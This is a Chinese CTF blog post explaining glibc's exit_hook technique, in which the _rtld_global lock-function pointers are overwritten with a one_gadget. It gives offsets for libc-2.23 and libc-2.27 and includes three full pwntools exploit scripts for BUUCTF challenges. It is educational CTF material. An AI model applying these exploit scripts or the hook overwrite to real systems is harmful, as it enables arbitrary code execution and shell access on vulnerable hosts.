以前只接触过malloc_hook,free_hook,大概意思就是在调用malloc和free的时候会先看看里面有没有东西,有的话就会执行。以前在看一些师傅们博客的时候有看到过exit_hook,前几天就研究了一下,这篇来做个总结。

  首先我们自己写一个程序,调试一下exit是怎么执行的。

1 #include<stdio.h>
2
3 void main()
4 {
5 printf("bhxdn\n");
6 exit(0);
7 }

  在第六行下断点看一下。

  这里可以看到是执行了__run_exit_handlers。进入这个函数,看看它调用了哪些函数。

  这里显示其中调用的一个函数,是_dl_fini。这里为了方便看,我们直接看_dl_fini的关键源码。

 1 #ifdef SHARED
2 int do_audit = 0;
3 again:
4 #endif
5 for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
6 {
7 /* Protect against concurrent loads and unloads. */
8 __rtld_lock_lock_recursive (GL(dl_load_lock));
9
10 unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
11 /* No need to do anything for empty namespaces or those used for
12 auditing DSOs. */
13 if (nloaded == 0
14 #ifdef SHARED
15 || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
16 #endif
17 )
18 __rtld_lock_unlock_recursive (GL(dl_load_lock));

  看8行和18行,发现是调用了 __rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive 。

  这里我们看一下这两个函数在哪。

  这两个函数在_rtld_global结构体里面。只要我们将其中一个指向one_gadgets,在CTF中,就可以拿到shell了。

  接下来就是计算偏移了,发现在64位libc-2.23中,这两个指针在结构体中的偏移分别是3848和3856。为了方便,我们可以直接记住这两个指针和libc的基地址之间的距离。

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

  这样一来,只要知道libc版本和任意地址的写,我们可以直接写这个指针,执行exit后就可以拿到shell了。(其实不用非要执行exit,就程序正常返回也可以执行到这里)

ciscn_2019_n_7

  64位程序,保护全开,输入666可以直接泄露libc基地址。在输入name时候可以输入0x10大小,可以溢出。就可以改一个指针,并且往里面写值。

  直接把exit_hook改成one_gadgets拿shell。

 1 from pwn import *
2
3 p = process('./pwn')
4 #p = process(['./pwn'],env={"LD_PRELOAD":"./libc-2.23.so"})
5 #libc = ELF('./libc-2.23.so')
6 libc = ELF('./libc.so.6')
7 elf = ELF('./pwn')
8 context.log_level = 'debug'
9
10 def duan():
11 gdb.attach(p)
12 pause()
13
14 def add(size,name):
15 p.sendlineafter('choice-> \n','1')
16 p.sendlineafter('Length: \n',str(size))
17 p.sendafter('name:\n',name)
18
19 def edit(name,content):
20 p.sendlineafter('choice-> \n','2')
21 p.sendafter('name:\n',name)
22 p.sendafter('contents:\n',content)
23
24 def show():
25 p.sendlineafter('choice-> \n','3')
26
27 def exit():
28 p.sendlineafter('choice-> \n','4')
29
30 def secret():
31 p.sendlineafter('choice-> \n','666')
32
33 og=[0x45226,0x4527a,0xf0364,0xf1207]
34 #og=[0x45216,0x4526a,0xf02a4,0xf1147]
35 secret()
36 libc_base = int(p.recv(14),16)-libc.symbols['puts']
37 print 'libc_base-->'+hex(libc_base)
38 exit_hook = libc_base+0x5f0040+3848
39 print 'exit_hook-->'+hex(exit_hook)
40 shell = libc_base+og[3]
41 add(0x30,'aaaaaaaa'+p64(exit_hook))
42 edit('aaaaaaaa',p64(shell))
43 sleep(0.5)
44 p.sendline('a')
45 p.interactive()

hctf2018_the_end

  开局直接给libc地址,然后就是有五次机会可以任意写入一个字节。直接往exit_hook里面写one_gadgets拿shell。

 1 from pwn import *
2
3 #p = process('./pwn')
4 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-buu.so'})
5 #libc = ELF('./libc.so.6')
6 libc = ELF('./libc-2.27-buu.so')
7 context.log_level = 'debug'
8
9 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
10 og = [0x4f2c5,0x4f322,0xe569f,0xe585f,0xe5858,0xe5863,0x10a38c,0x10a398]
11
12 p.recvuntil('gift ')
13 libc_base = int(p.recv(14),16)-libc.symbols['sleep']
14 exit_hook = libc_base+0x619060+3840
15 print 'libc_base-->'+hex(libc_base)
16 print 'exit_hook-->'+hex(exit_hook)
17 shell = libc_base+og[2]
18 for i in range(len(og)):
19 print 'i-->'+hex(libc_base+og[i])
20
21 for i in range(5):
22 p.send(p64(exit_hook+i))
23 sleep(0.1)
24 p.send(p64(shell)[i])
25 sleep(0.1)
26
27 p.interactive()

bbctf_2020_write

  还是开局直接给libc地址,可以任意地址写,按道理是有超级多种方法拿shell的。

 1 from pwn import *
2
3 #p = process('./pwn')
4 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-buu.so'})
5 #libc = ELF('./libc.so.6')
6 libc = ELF('./libc-2.27-buu.so')
7 context.log_level = 'debug'
8
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 def write(ptr,content):
14 p.sendlineafter('uit\n','w')
15 p.sendlineafter('ptr: ',ptr)
16 p.sendlineafter('val: ',content)
17
18 def quit():
19 p.sendlineafter('uit\n','q')
20
21 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
22 og = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
23
24 p.recvuntil('puts: ')
25 libc_base = int(p.recv(14),16)-libc.symbols['puts']
26 print 'libc_base'+hex(libc_base)
27 exit_hook=libc_base+0x619060+3840
28 print 'exit_hook-->'+hex(exit_hook)
29 shell = libc_base+og[2]
30 for i in range(len(og)):
31 print str(i)+'-->'+hex(libc_base+og[i])
32
33 write(str(exit_hook),str(shell))
34 quit()
35 p.interactive()

参考:https://blog.csdn.net/qq_43116977/article/details/105485947

上述例子均可在BUUCTF上复现。

最新文章

  1. 【JVM】JVM系列之执行引擎(五)
  2. asp.net mvc输出自定义404等错误页面,非302跳转。
  3. c++ 文件utf-8格式
  4. echarts一个页面动态加载两张不同图表数据
  5. js基础细节
  6. SQL SERVER 安全性体系
  7. 读《JavaScript语言精粹》的一些感言
  8. 移动端1px细线的处理
  9. 【转】Masonry介绍与使用实践(快速上手Autolayout)
  10. Loading Data into HDFS
  11. SGU 145.Strange People(无环K短路)
  12. BagTest
  13. zabbix监控应用连接数
  14. asp.net检查服务器上目录或文件是否存在示例
  15. Android4种网络连接方式HttpClient、HttpURLConnection、OKHttp和Volley优缺点和性能对比
  16. python并发编程之进程池,线程池concurrent.futures
  17. BYTE数组与16进制字符串互转
  18. 在本机搭建vue-cli3项目
  19. 33. Search in Rotated Sorted Array(二分查找)
  20. KVM中断虚拟化浅析

热门文章

  1. PAT A1091——BFS
  2. CSS 基础 - Cascade and Inheritance
  3. html中引入外部js文件,使用外部js文件里的方法
  4. Codeforces 1067D - Computer Game(矩阵快速幂+斜率优化)
  5. Codeforces 1483F - Exam(AC 自动机)
  6. DirectX12 3D 游戏开发与实战第六章内容
  7. 【豆科基因组】大豆(Soybean, Glycine max)经典文章梳理2010-2020
  8. 【蛋白质基因组】Proteogenomics方法介绍及分析思路
  9. 详解 Rainbond Ingress 泛解析域名机制
  10. day10 ajax的基本使用